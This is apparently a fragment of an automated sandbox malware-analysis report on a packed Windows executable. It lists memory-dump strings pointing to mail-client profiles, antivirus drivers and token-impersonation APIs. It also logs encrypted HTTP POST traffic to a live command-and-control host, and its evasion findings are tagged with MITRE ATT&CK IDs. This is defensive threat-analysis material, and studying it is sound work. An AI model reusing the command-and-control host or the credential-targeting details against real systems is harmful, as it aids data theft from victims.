Source: 00000000-00006876.00000001.136543.02B60000.00000004.mdmp 00000000-00006876.00000002.138464.02B60000.00000004.mdmp "\??\C:\Users\HAPUBWS\AppData\Roaming\Thunderbird\Profiles" in Source: 00000000-00006876.00000001.136543.02B60000.00000004.mdmp 00000000-00006876.00000002.138464.02B60000.00000004.mdmp "\??\C:\Users\Public\AppData\Roaming\Thunderbird\Profiles" in Source: 00000000-00006876.00000001.136543.02B60000.00000004.mdmp 00000000-00006876.00000002.138464.02B60000.00000004.mdmp "\??\C:\Users\Default User\AppData\Roaming\Thunderbird\Profiles" in Source: 00000000-00006876.00000001.136543.02B60000.00000004.mdmp 00000000-00006876.00000002.138464.02B60000.00000004.mdmp "\??\C:\Users\.NET v4.5\AppData\Roaming\Thunderbird\Profiles" in Source: 00000000-00006876.00000001.136543.02B60000.00000004.mdmp 00000000-00006876.00000002.138464.02B60000.00000004.mdmp "??\C:\Users\.NET v2.0 Classic\AppData\Roaming\Thunderbird\Profiles\Local State" in Source: 00000000-00006876.00000001.136543.02BA1000.00000004.mdmp 00000000-00006876.00000003.143408.02BA1000.00000004.mdmp "??\C:\Users\.NET v4.5 Classic\AppData\Roaming\Thunderbird\Profiles\Local State" in Source: 00000000-00006876.00000001.136543.02BA1000.00000004.mdmp 00000000-00006876.00000003.143408.02BA1000.00000004.mdmp "??\C:\Users\Default\AppData\Roaming\Thunderbird\Profiles\Local State" in Source: 00000000-00006876.00000001.136543.02BA1000.00000004.mdmp 00000000-00006876.00000003.143408.02BA1000.00000004.mdmp "??\C:\Users\All Users\AppData\Roaming\Thunderbird\Profiles\Local State" in Source: 00000000-00006876.00000001.136543.02BA1000.00000004.mdmp 00000000-00006876.00000003.143408.02BA1000.00000004.mdmp "??\C:\Users\.NET v2.0\AppData\Roaming\Thunderbird\Profiles\Local State" in Source: 00000000-00006876.00000001.136543.02BA1000.00000004.mdmp 00000000-00006876.00000003.143408.02BA1000.00000004.mdmp "??\C:\Users\Public\AppData\Roaming\Thunderbird\Profiles\Local State" in Source: 00000000-00006876.00000001.136543.02BA1000.00000004.mdmp 00000000-00006876.00000003.143408.02BA1000.00000004.mdmp "??\C:\Users\.NET v4.5\AppData\Roaming\Thunderbird\Profiles\Local State" in Source: 00000000-00006876.00000001.136543.02BA1000.00000004.mdmp 00000000-00006876.00000003.143408.02BA1000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Roaming\Thunderbird\Profiles\Local State" in Source: 00000000-00006876.00000001.136543.02BA1000.00000004.mdmp 00000000-00006876.00000003.143408.02BA1000.00000004.mdmp "\??\C:\Users\Classic .NET AppPool\AppData\Roaming\Thunderbird\Profiles\Local State" in Source: 00000000-00006876.00000001.136543.02BA1000.00000004.mdmp 00000000-00006876.00000003.143408.02BA1000.00000004.mdmp "\Roaming\Thunderbird\Profiles" in Source: 00000000-00006876.00000001.136543.02BA1000.00000004.mdmp 00000000-00006876.00000003.143408.02BA1000.00000004.mdmp "\Roaming\Opera Mail\Opera Mail" in Source: 00000000-00006876.00000001.136543.02BA1000.00000004.mdmp 00000000-00006876.00000003.143408.02BA1000.00000004.mdmp53:Tb72,Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00006876.00000000.134622.02B60000.00000004.mdmp, 00000000-00006876.00000001.136543.02B60000.00000004.mdmp, 00000000-00006876.00000002.138464.02B60000.00000004.mdmp") Found string "System32\drivers\etc\hosts" (Indicator: "\drivers\"; Source: "00000000-00006876.00000000.134622.02B60000.00000004.mdmp, 00000000-00006876.00000001.136543.02B60000.00000004.mdmp, 00000000-00006876.00000002.138464.02B60000.00000004.mdmp") Found string "System32\drivers\etc\hosts" (Indicator: "system32\drivers"; Source: "00000000-00006876.00000000.134622.02B60000.00000004.mdmp, 00000000-00006876.00000001.136543.02B60000.00000004.mdmp, 00000000-00006876.00000002.138464.02B60000.00000004.mdmp") Found string "\??\C:\Windows\System32\drivers\klhk.sys" (Indicator: "\drivers\"; Source: "00000000-00006876.00000000.134622.02B60000.00000004.mdmp, 00000000-00006876.00000001.136543.02B60000.00000004.mdmp, 00000000-00006876.00000002.138464.02B60000.00000004.mdmp") Found string "\??\C:\Windows\System32\drivers\klhk.sys" (Indicator: "system32\drivers"; Source: "00000000-00006876.00000000.134622.02B60000.00000004.mdmp, 00000000-00006876.00000001.136543.02B60000.00000004.mdmp, 00000000-00006876.00000002.138464.02B60000.00000004.mdmp") Found string "\??\C:\Windows\System32\drivers\kldisk.sys" (Indicator: "\drivers\"; Source: "00000000-00006876.00000000.134622.02B60000.00000004.mdmp, 00000000-00006876.00000001.136543.02B60000.00000004.mdmp, 00000000-00006876.00000002.138464.02B60000.00000004.mdmp") Found string "\??\C:\Windows\System32\drivers\kldisk.sys" (Indicator: "system32\drivers"; Source: "00000000-00006876.00000000.134622.02B60000.00000004.mdmp, 00000000-00006876.00000001.136543.02B60000.00000004.mdmp, 00000000-00006876.00000002.138464.02B60000.00000004.mdmp") Found string "\??\C:\Windows\System32\drivers\kneps.sys" (Indicator: "\drivers\"; Source: "00000000-00006876.00000000.134622.02B60000.00000004.mdmp, 00000000-00006876.00000001.136543.02B60000.00000004.mdmp, 00000000-00006876.00000002.138464.02B60000.00000004.mdmp") Found string "\??\C:\Windows\System32\drivers\kneps.sys" (Indicator: "system32\drivers"; Source: "00000000-00006876.00000000.134622.02B60000.00000004.mdmp, 00000000-00006876.00000001.136543.02B60000.00000004.mdmp, 00000000-00006876.00000002.138464.02B60000.00000004.mdmp") Found string "\??\C:\Windows\System32\drivers\klif.sys" (Indicator: "\drivers\"; Source: "00000000-00006876.00000000.134622.02B60000.00000004.mdmp, 00000000-00006876.00000001.136543.02B60000.00000004.mdmp, 00000000-00006876.00000002.138464.02B60000.00000004.mdmp") Found string "\??\C:\Windows\System32\drivers\klif.sys" (Indicator: "system32\drivers"; Source: "00000000-00006876.00000000.134622.02B60000.00000004.mdmp, 00000000-00006876.00000001.136543.02B60000.00000004.mdmp, 00000000-00006876.00000002.138464.02B60000.00000004.mdmp")54:Td08,file/memory contains long string with (Indicator: "CopySid"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "IsValidSid"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "GetLengthSid"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "RevertToSelf"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "ImpersonateSelf"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "DuplicateToken"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "DuplicateTokenEx"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "GetSidSubAuthority"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "GetTokenInformation"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "SetTokenInformation"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "GetSidSubAuthorityCount"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "ImpersonateLoggedOnUser"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "GetSidIdentifierAuthority"; File: "ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin") file/memory contains long string with (Indicator: "CopySid"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp") file/memory contains long string with (Indicator: "RevertToSelf"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp") file/memory contains long string with (Indicator: "ImpersonateSelf"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp") file/memory contains long string with (Indicator: "DuplicateToken"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp") file/memory contains long string with (Indicator: "DuplicateTokenEx"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp") file/memory contains long string with (Indicator: "GetSidSubAuthority"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp") file/memory contains long string with (Indicator: "GetTokenInformation"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp") file/memory contains long string with (Indicator: "SetTokenInformation"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp") file/memory contains long string with (Indicator: "GetSidSubAuthorityCount"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp") file/memory contains long string with (Indicator: "ImpersonateLoggedOnUser"; Source: "00000000-00006876.00000002.138464.0027E000.00000002.mdmp")55:Tae7," ""~=i¡÷ÿ{g÷2:rè*¡ÌYUL¿´cõYL\ê>«ZÇÒä@¹ÛIð®04Úë³Ë1Ø+ò CçäówG}r1êWxÂáp0LËí" HTTP/1.1 200 OK Date: Fri, 29 May 2026 12:14:54 GMT Content-Type: application/octet-stream Content-Length: 95 Connection: keep-alive Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=7,cfOrigin;dur=703 X-Request-ID: PH53kqLLy7uXUW9mbwCsow Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4"}]} alt-svc: h3=":443"; ma=86400 Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a0356be44dc8eb1e-SJC with response body ==>C28C4D797DC2ADC2AE1EC284C2A6C3B52DC39FC2A7C2B9555419C28B2AC2AE5BC399C3BD65C2891E053F483BC2B0C2A80AC3AF491409C3A8C2B236C2B9326AC2......., "POST / HTTP/1.1 Host: he.packetcore.cc Content-Type: application/octet-stream X-Request-ID: PH53kqLLy7uXUW9mbwCsow Connection: keep-alive Content-Length: 108 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" with payload::==> "¡®éV<ÒÑZ!ßÈç;ì¬8ßjoê»Õï×/:C3BJ½®à×_(K&ÌvA0ª(ðÍ^?*"ýÔ¥«úÐËDÚ2§ÛD~(@äyM/9Ñ óÊ¬¦2©;" HTTP/1.1 200 OK Date: Fri, 29 May 2026 12:14:56 GMT Content-Type: application/octet-stream Content-Length: 380 Connection: keep-alive Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=1076,cfOrigin;dur=212 Server: cloudflare Cf-Cache-Status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4"}]} Alt-Svc: h3=":443"; ma=86400 Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a0356beaaf76eb1e-SJC with response body ==>4C3B506403071422C384C29AC3BFC29B6FC2BF240573C3B6C294C39B437CC3B373C28C51C3A479C3BD6275C39961C29E3BC3A4C3A9C28DC2AEC399C29632C28F......., "POST /jdFPs727ae-4Yu HTTP/1.1 Host: he.packetcore.cc Content-Type: application/octet-stream X-Request-ID: PH53kqLLy7uXUW9mbwCsow X-Lid: 178005701220DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1 Connection: keep-alive Content-Length: 32 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" with payload::==> "_1£Cý£f&lÒÁF©@kxâíÃ´ã;TÇ" HTTP/1.1 200 OK Date: Fri, 29 May 2026 12:14:58 GMT Content-Length: 0 Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4"}]} alt-svc: h3=":443"; ma=86400 Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=7,cfOrigin;dur=1630 CF-RAY: a0356bf31c7aeb1e-SJC with no response body, "POST /HJtOyiL~I-WS0SK.BI78 HTTP/1.1 Host: he.packetcore.cc Content-Type: application/octet-stream X-Request-ID: PH53kqLLy7uXUW9mbwCsow Connection: keep-alive Content-Length: 73 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" with payload::==> "ºo©_Ç¦ja>ï§//0ÃlUdb ÞËu¿åÆ±É¼ÖpP4omá¹T"®,àÑ Å8A^!aâzïg" HTTP/1.1 200 OK Date: Fri 29 May 2026 12:14:58 GMT Content-Type: application/octet-stream Content-Length: 54328 Connection: keep-alive Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=2 cfOrigin;dur=183 Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4"}]} alt-svc: h3=":443"; ma=86400 Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} CF-RAY: a0356bfd6dd3eb1e-SJC with response body ==>C28040C389C28EC3AEC2AF7BC28B2EC3B7C2BEC3BE1C6CC2A1C395C3920CC29CC39D32C28EC2BDC2BF3B56C28410C39529165074C3A8C2B6C2885144C3BAC2A1....... "POST /jdFPs727ae-4Yu HTTP/1.1 Host: he.packetcore.cc Content-Type: application/octet-stream X-Request-ID: PH53kqLLy7uXUW9mbwCsow X-Lid: 178005701220DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1 Connection: keep-alive Content-Length: 32 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" with payload::==> "Ò`9b·ÐÍº"¾|¹àÌtAôýü?gËY" HTTP/1.1 200 OK Date: Fri, 29 May 2026 12:14:59 GMT Content-Length: 0 Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4"}]} alt-svc: h3=":443"; ma=86400 Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=2,cfOrigin;dur=1019 CF-RAY: a0356c00cb58eb1e-SJC with no response body, "POST /jdFPs727ae-4Yu HTTP/1.1 Host: he.packetcore.cc Content-Type: application/octet-stream X-Request-ID: PH53kqLLy7uXUW9mbwCsow X-Lid: 178005701220DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1 Connection: keep-alive Content-Length: 32 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" with payload::==> "Bh;ðÎáøÅ<¢LÎ¦ûf°>òCö^Ò¡cä" HTTP/1.1 200 OK Date: Fri, 29 May 2026 12:15:02 GMT Content-Length: 0 Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4"}]} alt-svc: h3=":443"; ma=86400 Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=2,cfOrigin;dur=1362 CF-RAY: a0356c0e7b0ceb1e-SJC with no response body, "POST /jdFPs727ae-4Yu HTTP/1.1 Host: he.packetcore.cc Content-Type: application/octet-stream X-Request-ID: PH53kqLLy7uXUW9mbwCsow X-Lid: 178005701220DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1 Connection: keep-alive Content-Length: 32 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" with payload::==> "¶¿éïÓ®;®|ùêiÔOë±&½£Ö»)ò´¿ñÐ" HTTP/1.1 200 OK Date: Fri, 29 May 2026 12:15:03 GMT Content-Length: 0 Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4"}]} alt-svc: h3=":443"; ma=86400 Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=2,cfOrigin;dur=1094 CF-RAY: a0356c174c0deb1e-SJC with no response body, "POST /jdFPs727ae-4Yu HTTP/1.1 Host: he.packetcore.cc Content-Type: application/octet-stream X-Request-ID: PH53kqLLy7uXUW9mbwCsow X-Lid: 178005701220DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1 Connection: keep-alive Content-Length: 32 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" with payload::==> "Ju5AQ¡zâ«¬ M¿·ñqLÀWB-$ÏñôN" HTTP/1.1 200 OK Date: Fri, 29 May 2026 12:15:04 GMT Content-Length: 0 Connection: keep-alive Server: cloudflare Cf-Cache-Status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4"}]} Alt-Svc: h3=":443"; ma=86400 Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=2 cfOrigin;dur=867 CF-RAY: a0356c202b92eb1e-SJC with no response body58:Tbac,"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00006876.00000000.134622.02B60000.00000004.mdmp, 00000000-00006876.00000001.136543.02B60000.00000004.mdmp, 00000000-00006876.00000002.138464.02B60000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"6a19831cf3e949f83e0621a4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform Base64 encoding/decoding","description":"Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; Source: \"00000000-00006876.00000002.138464.25100000.00000040.mdmp\")\n Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; Source: \"00000000-00006876.00000002.138464.25100000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"6a19831cf3e949f83e0621a4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"file/memory contains long string with (Indicator: \"SetFileTime\"; File: \"ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"6a19831cf3e949f83e0621a4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"runtime.useAeshash\" (Indicator: \"Aes\"; File: \"ae3ee04fded710b733a8eba2eb8e0aafa1fdb60805c6b48aa4aa56311079b10a.bin\")\n Found reference to \"runtime.useAeshash\" (Indicator: \"Aes\"; Source: \"00000000-00006876.00000003.143408.00433000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6a19831cf3e949f83e0621a4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00006876.00000000.134622.25100000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00006876.00000001.136543.05100000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00006876.00000002.138464.0027E000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00006876.00000002.138464.25100000.00000040.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6a19831cf3e949f83e0621a4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"\"\" (Indicator: \"enumchildwindows\"; Source: \"00000000-00006876.00000000.134622.02B60000.00000004.mdmp, 00000000-00006876.00000001.136543.02B60000.00000004.mdmp, 00000000-00006876.00000002.138464.02B60000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6a19831cf3e949f83e0621a4"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"Bnz1cUXKOXJp1EtKxd4TLzzb.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00006876)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6a19831cf3e949f83e0621a4"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\" tE!\"\n \"Bnz1cUXKOXJp1EtKxd4TLzzb.exe\" was detected as \"tElock v1.0 (private) -> tE!\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6a19831cf3e949f83e0621a4"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"Bnz1cUXKOXJp1EtKxd4TLzzb.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6a19831cf3e949f83e0621a4"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Loads syscall stubs from disk during runtime","description":"\"Bnz1cUXKOXJp1EtKxd4TLzzb.exe\" trying to read a file \"C:\\Windows\\System32\\ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1027.007","relevance":3,"id":"api-298","sources":[{"report_type":"sandbox","report_id":"6a19831cf3e949f83e0621a4"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Queries kernel debugger information","description":"\"